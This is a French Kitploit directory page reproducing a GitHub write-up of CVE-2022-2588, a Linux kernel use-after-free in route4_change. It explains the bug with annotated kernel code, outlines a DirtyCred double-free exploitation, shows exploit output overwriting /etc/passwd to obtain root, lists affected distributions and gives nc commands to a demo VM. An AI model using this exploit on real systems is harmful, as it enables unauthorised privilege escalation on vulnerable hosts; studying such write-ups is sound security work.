Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/dom4570/cve-2022-2588
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubdom4570/cve-2022-2588

CVE-2022-2588

Description détaillée et code d'exploitation pour CVE-2022-2588, une vulnérabilité de type use-after-free dans le noyau Linux dans route4_change menant à une élévation de privilèges par double libération et échange d'identifiants.

Voir le dépôt
1il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-2588

Le correctif

Le bogue est corrigé dans Linux v5.19 par ce commit.

Le bogue

Le bogue a été introduit dans Linux v3.17 par ce commit en 2014. Il nécessite User Namespaces pour être déclenché. Ce bogue est très similaire à CVE-2021-3715, qui était causé par une opération incorrecte sur la liste chaînée de route4_filter. Plus de détails sur CVE-2021-3715 peuvent être trouvés dans l'article Black Hat (page 16). Voici quelques brèves informations sur CVE-2022-2588.

Ce qui suit montre certains extraits de code importants de la fonction route4_change pour comprendre CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La fonction est implémentée pour initialiser/remplacer l'objet route4_filter. Le filtre utilise handle comme identifiant unique pour distinguer chaque filtre. S'il existe un handle qui a déjà été initialisé (c'est-à-dire que la variable fold n'est pas nulle), il mettra à jour le filtre en supprimant l'ancien filtre et en ajoutant un nouveau ; sinon, il ajoutera simplement un nouveau filtre.

En [0], le noyau alloue l'objet route4_filter. En [1], si fold n'est pas vide, ce qui signifie qu'il existe un filtre avec le même handle, il copiera certaines informations vers le nouveau filtre et initialisera le nouveau filtre en [2], puis insérera le nouveau filtre dans la liste en [3]. Si l'ancien filtre existe, il est supprimé de la liste en [4] et libéré en [6].

Le bogue se produit en [4], qui vérifie s'il existe un ancien filtre à supprimer. La condition s'assure que le handle ne doit pas être zéro et qu'il doit correspondre au handle du nouveau filtre. Cette condition n'est pas alignée avec la condition de libération du filtre en [6], qui vérifie uniquement si l'ancien filtre existe. Par conséquent, si les utilisateurs créent un filtre dont le handle est 0, puis déclenchent son remplacement, le filtre ne sera pas désolidarisé en [4] mais sera libéré en [6] puisque leurs conditions ne sont pas les mêmes.

L'exploitation

Étant donné que ce bogue est similaire à CVE-2021-3715, leurs primitives sont quasiment les mêmes. Les lecteurs peuvent se référer à l'article Black Hat pour une description plus détaillée des primitives. Ce rapport présente l'exploitation avec l'idée de DirtyCred.

Étant donné que le fold libéré est toujours sur la liste chaînée après avoir déclenché le bogue, nous pouvons libérer le fold une nouvelle fois, ce qui entraînera éventuellement un double-free sur l'objet route4_filter et l'objet route4_filter->exts.action si CONFIG_NET_CLS_ACT est activé.

Les codes d'exploitation utilisent ces deux capacités de double-free pour démontrer l'attaque sur les credentials de tâche (en utilisant le double-free kmalloc-192, à venir) et les credentials de fichier ouvert (en utilisant le double-free kmalloc-256).

Attaquer les credentials de fichier

Suivant l'idée de DirtyCred, le code d'exploitation échange les credentials du fichier après les vérifications de permissions, de sorte que nous pouvons écrire n'importe quel contenu dans des fichiers avec permission de lecture. Idéalement, le code devrait fonctionner sur toutes les versions du noyau affectées par le bogue. Il est à noter que pour garantir le fonctionnement sur les noyaux plus anciens où msg_msg est isolé dans kmalloc-rcl-*, l'exploitation utilise un objet de pulvérisation différent.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

L'exploitation a été écrite pour fonctionner sur autant de distributions que possible. Elle a été confirmée fonctionner sur :

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(N'hésitez pas à envoyer une PR pour mettre à jour cette liste si vous constatez qu'elle fonctionne sur d'autres noyaux.)

Vous voulez jouer avec l'exploitation dans la VM ?

Veuillez vous connecter avec l'utilisateur low et le mot de passe low

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
Télécharger l’outil